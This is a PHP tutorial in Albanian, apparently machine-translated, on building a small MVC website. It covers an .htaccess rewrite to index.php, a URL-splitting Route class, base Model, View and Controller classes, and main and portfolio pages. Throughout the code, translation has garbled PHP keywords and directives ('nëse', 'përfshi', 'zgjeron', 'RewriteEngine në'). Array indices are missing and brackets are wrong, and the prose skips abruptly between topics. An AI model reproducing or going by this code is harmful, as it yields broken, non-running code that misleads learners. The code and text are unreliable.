    http://www.example.com/contacts.php?action=feedback

    Kodi i përafërt i përpunimit në këtë rast:
    switch ($_GET ["veprim" ]) ( case "about" : request_once ("about.php" ); // "Rreth nesh" ndërprerje e faqes ; case "contacts" : require_once ("contacts.php"); // Pushimi i faqes "Kontaktet" ; rasti "feedback": request_once ("feedback.php"); // Pushimi i faqes "Përgjigje"; parazgjedhja: request_once ("page404.php"); // ndërprerja e faqes "404" ;)
    Unë mendoj se pothuajse të gjithë e kanë bërë këtë më parë.

    Duke përdorur një motor kursimi URL, mund të konfiguroni aplikacionin tuaj që të pranojë kërkesa si kjo për të shfaqur të njëjtin informacion:
    http://www.example.com/contacts/feedback

    Këtu kontaktet përfaqësojnë kontrolluesin, dhe reagimi është metoda e kontrolluesit të kontakteve që shfaq formularin e reagimit, etj. Kësaj çështjeje do t'i kthehemi në pjesën praktike.

    Vlen gjithashtu të dihet se shumë rutera të kornizave të internetit ju lejojnë të krijoni rrugë të personalizuara URL (specifikoni se çfarë do të thotë secila pjesë e URL-së) dhe rregullat për përpunimin e tyre.
    Tani kemi njohuri të mjaftueshme teorike për të kaluar në praktikë.

    2. Praktikoni Së pari, le të krijojmë strukturën e skedarit dhe dosjes së mëposhtme:


    Duke parë përpara, do të them se klasat kryesore Model, View dhe Controller do të ruhen në dosjen kryesore.
    Fëmijët e tyre do të ruhen në drejtoritë e kontrollorëve, modeleve dhe pamjeve. Skedari index.php është pika hyrëse në aplikacion. Skedari bootstrap.php fillon ngarkimin e aplikacionit, duke lidhur të gjitha modulet e nevojshme, etj.

    Ne do të shkojmë në mënyrë sekuenciale; Le të hapim skedarin index.php dhe ta plotësojmë me kodin e mëposhtëm:
    ini_set("gabimet_afishimi" , 1 ); require_once "application/bootstrap.php" ;
    Këtu nuk duhet të ketë pyetje.

    Tjetra, le të shkojmë menjëherë te skedari bootstrap.php:
    require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Rruga::start(); //nisni ruterin
    Tre rreshtat e parë do të përfshijnë skedarë kernel që nuk ekzistojnë aktualisht. Rreshtat e fundit përfshijnë skedarin me klasën e ruterit dhe e nisin atë për ekzekutim duke thirrur metodën statike të fillimit.

    2.1. Zbatimi i një ruteri URL Tani për tani, le të devijojmë nga zbatimi i modelit MVC dhe të përqendrohemi në rrugëzimin. Hapi i parë që duhet të bëjmë është të shkruajmë kodin e mëposhtëm në .htaccess:
    RewriteEngine në RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Ky kod do të ridrejtojë të gjithë përpunimin e faqeve në index.php, që është ajo që na nevojitet. Ju kujtohet në pjesën e parë që folëm për Front Controller?!

    Ne do të vendosim rrugëzimin në një skedar të veçantë route.php në direktorinë kryesore. Në këtë skedar do të përshkruajmë klasën Route, e cila do të ekzekutojë metodat e kontrolluesit, të cilat nga ana tjetër do të gjenerojnë pamjen e faqes.

    Përmbajtja e skedarit route.php

    class Route ( starti i funksionit statik () ( // kontrolluesi dhe veprimi i parazgjedhur $controller_name = "Kryesore" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // merrni emri i kontrolluesit nëse (!empty ($routes )) ( $controller_name = $routes ;) // merrni emrin e veprimit nëse (!empty ($routes )) ( $action_name = $routes ;) // shtoni prefikset $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // lidh skedarin me klasën e modelit (mund të mos ketë skedar modeli) $model_file = strtolower ($model_name). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (përfshi "application/models/" .$model_file ;) // lidh skedarin me klasën e kontrolluesit $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (përfshi "application/controllers/" .$controller_e ) else ( /* do të ishte e saktë të hedhim një përjashtim këtu, por për të thjeshtuar gjërat, ne do të ridrejtojmë menjëherë në faqen 404 */ Route::ErrorPage404(); ) // krijojmë një kontrollues $controller = i ri $controller_name ; $action = $action_name ; nëse (method_exists($controller , $action )) ( // thirrni veprimin e kontrolluesit $controller ->$action (); ) tjetër ( // këtu do të ishte gjithashtu më e mençur të hidhni një përjashtim Route::ErrorPage404(); ) ) funksioni ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Nuk u gjet"); header("Statusi: 404 Nuk u gjet" ) ; header(" Vendndodhja:" .$host ."404" ); ) )


    Unë vërej se klasa zbaton logjikë shumë të thjeshtuar (pavarësisht kodit voluminoz) dhe madje mund të ketë probleme sigurie. Kjo është bërë qëllimisht, sepse... Shkrimi i një klase të plotë rrugëtimi meriton të paktën një artikull të veçantë. Le të shohim pikat kryesore ...

    Elementi i grupit global $_SERVER["REQUEST_URI"] përmban adresën e plotë me të cilën kontaktoi përdoruesi.
    Për shembull: shembull.ru/contacts/feedback

    Duke përdorur funksionin shpërthejnë Adresa është e ndarë në komponentë. Si rezultat, marrim emrin e kontrolluesit, për shembullin e dhënë, ky është kontrolluesi kontaktet dhe emri i veprimit, në rastin tonë - reagime.

    Më pas, skedari i modelit (modeli mund të mungojë) dhe skedari i kontrolluesit, nëse ka, janë të lidhur dhe më në fund, krijohet një shembull i kontrolluesit dhe veprimi thirret, përsëri, nëse është përshkruar në klasën e kontrolluesit.

    Kështu, kur shkoni në, për shembull, adresën:
    shembull.com/portfolio
    ose
    shembull.com/portfolio/index
    Ruteri do të kryejë veprimet e mëposhtme:

  • do të përfshijë skedarin model_portfolio.php nga dosja modele, që përmban klasën Model_Portfolio;
  • do të përfshijë skedarin controller_portfolio.php nga dosja e kontrollorëve, që përmban klasën Controller_Portfolio;
  • do të krijojë një shembull të klasës Controller_Portfolio dhe do të thërrasë veprimin e paracaktuar, action_index, të përshkruar në të.
  • Nëse përdoruesi përpiqet të hyjë në adresën e një kontrolluesi që nuk ekziston, për shembull:
    shembull.com/ufo
    atëherë ai do të ridrejtohet në faqen "404":
    shembull.com/404
    E njëjta gjë do të ndodhë nëse përdoruesi i qaset një veprimi që nuk është përshkruar në kontrollues.2.2. Le të kthehemi te zbatimi MVC. Le të shkojmë te dosja kryesore dhe të shtojmë tre skedarë të tjerë në skedarin route.php: model.php, view.php dhe controller.php


    Më lejoni t'ju kujtoj se ato do të përmbajnë klasa bazë, të cilat tani do të fillojmë t'i shkruajmë.

    Përmbajtja e skedarit model.php
    Modeli i klasës (funksioni publik get_data ( ) ( ) )
    Klasa e modelit përmban një metodë të vetme të marrjes së të dhënave boshe, e cila do të anashkalohet në klasat pasardhëse. Kur të krijojmë klasa pasardhëse, gjithçka do të bëhet më e qartë.

    Përmbajtja e skedarit view.php
    class View ( //public $template_view; // këtu mund të specifikoni pamjen e përgjithshme të parazgjedhur. funksioni gjeneron ($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // konverto grupin elementet në variabla ekstrakt ($data); ) */ përfshijnë "application/views/" .$template_view ;) )
    Nuk është e vështirë të merret me mend se metoda gjenerojnë synon të formojë një pamje. Parametrat e mëposhtëm i kalohen asaj:

  • $content_file - pamje që shfaqin përmbajtjen e faqes;
  • $template_file — shabllon i zakonshëm për të gjitha faqet;
  • $data është një grup që përmban elementë të përmbajtjes së faqes. Zakonisht plotësohet në model.
  • Funksioni i përfshirjes lidh në mënyrë dinamike një shabllon të përgjithshëm (pamje) brenda të cilit do të futet pamja
    për të shfaqur përmbajtjen e një faqeje të caktuar.

    Në rastin tonë, shablloni i përgjithshëm do të përmbajë kokën, menunë, shiritin anësor dhe fundin, dhe përmbajtja e faqes do të përmbahet në një formë të veçantë. Përsëri, kjo është bërë për thjeshtësi.

    Përmbajtja e skedarit controller.php
    Kontrolluesi i klasës ($model publik; $view publik; funksioni __construct () ($this ->view = Pamje e re();)) )
    Metoda indeksi_aksioni- ky është veprimi i quajtur si parazgjedhje; ne do ta anashkalojmë atë kur zbatojmë klasa pasardhëse.

    2.3. Zbatimi i klasave të pasardhësve Model dhe Controller, krijimi i View-ve Tani fillon argëtimi! Uebfaqja jonë e kartës së biznesit do të përbëhet nga faqet e mëposhtme:
  • në shtëpi
  • Shërbimet
  • Portofoli
  • Kontaktet
  • Dhe gjithashtu - faqja "404".
  • Çdo faqe ka kontrolluesin e vet nga dosja e kontrollorëve dhe një pamje nga dosja e shikimeve. Disa faqe mund të përdorin një model ose modele nga dosja e modeleve.


    Në figurën e mëparshme, skedari template_view.php është theksuar veçmas - ky është një shabllon që përmban shënime të zakonshme për të gjitha faqet. Në rastin më të thjeshtë mund të duket kështu:
    në shtëpi
    Për t'i dhënë faqes një pamje të paraqitshme, ne krijojmë një shabllon CSS dhe e integrojmë atë në faqen tonë duke ndryshuar strukturën e shënjimit HTML dhe duke lidhur skedarët CSS dhe JavaScript:

    Në fund të artikullit, në seksionin "Rezultati", ekziston një lidhje me një depo GitHub me një projekt në të cilin janë ndërmarrë hapa për të integruar një shabllon të thjeshtë.

    2.3.1. Krijimi i faqes kryesore Le të fillojmë me kontrolluesin controller_main.php, këtu është kodi i tij:
    class Controller_Main zgjeron Controller (funksioni action_index () ($this ->view->generate("main_view.php" , "template_view.php"); ) )
    Në metodë gjenerojnë kalohen një shembull i klasës View, emrat e skedarëve të shabllonit të përgjithshëm dhe pamjes me përmbajtjen e faqes.
    Përveç veprimit të indeksit, kontrolluesi sigurisht që mund të përmbajë veprime të tjera.

    Ne shqyrtuam skedarin e pamjes së përgjithshme më parë. Konsideroni skedarin e përmbajtjes main_view.php:
    Mirë se vini! OLOLOSHA TEAM është një ekip specialistësh të klasit të parë në fushën e zhvillimit të faqeve të internetit me përvojë shumëvjeçare në mbledhjen e maskave meksikane, statujave prej bronzi dhe guri nga India dhe Ceiloni, basorelieve dhe skulptura të krijuara nga mjeshtra të Afrikës Ekuatoriale pesë ose gjashtë shekuj. më parë...
    Kjo përmban shënime të thjeshta pa asnjë thirrje PHP.
    Për të shfaqur faqen kryesore, mund të përdorni një nga adresat e mëposhtme:

    • metodat e bibliotekave që zbatojnë abstraksionin e të dhënave. Për shembull, metodat e bibliotekës PEAR MDB2;
    • metodat ORM;
    • metodat për të punuar me NoSQL;
    • dhe etj.
    • Për thjeshtësi, ne nuk do të përdorim pyetje SQL ose deklarata ORM këtu. Në vend të kësaj, ne do të imitojmë të dhëna reale dhe do të kthejmë menjëherë një sërë rezultatesh.
      Vendosni skedarin e modelit model_portfolio.php në dosjen modele. Ja përmbajtja e tij:
      class Model_Portfolio zgjeron Modelin ( funksioni publik get_data () ( grupi i kthimit (array ("Viti" => "2012" , "Site" => "http://DunkelBeer.ru" , "Përshkrim" => "Sajti promovues i birra e errët Dunkel nga prodhuesi gjerman Löwenbraü prodhuar në Rusi nga kompania e birrës "SUN InBev." ), grup ("Viti" => "2012" , "Site" => "http://ZopoMobile.ru" , "Përshkrimi " => "Katalogu në gjuhën ruse i telefonave kinezë nga Zopo bazuar në sistemin operativ Android dhe aksesorët për ta."), // todo ) ) )

      Klasa e kontrolluesit të modelit gjendet në skedarin controller_portfolio.php, këtu është kodi i tij:
      class Controller_Portfolio zgjeron Controller ( funksioni __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) funksioni action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Tek një ndryshore të dhëna shkruhet vargu i kthyer nga metoda merrni_të dhënat të cilën e pamë më herët.
      Kjo ndryshore më pas kalohet si parametër i metodës gjenerojnë, i cili gjithashtu përmban: emrin e skedarit me shabllonin e përgjithshëm dhe emrin e skedarit që përmban pamjen me përmbajtjen e faqes.

      Pamja që përmban përmbajtjen e faqes është në skedarin portfolio_view.php.
      Portofoli

      Të gjitha projektet në tabelën e mëposhtme janë fiktive, ndaj as mos u përpiqni të ndiqni lidhjet e dhëna.

      2024 | Kompjuterë për të gjithë - Konfigurimi, instalimi, rikuperimi


      vitiProjektiPërshkrim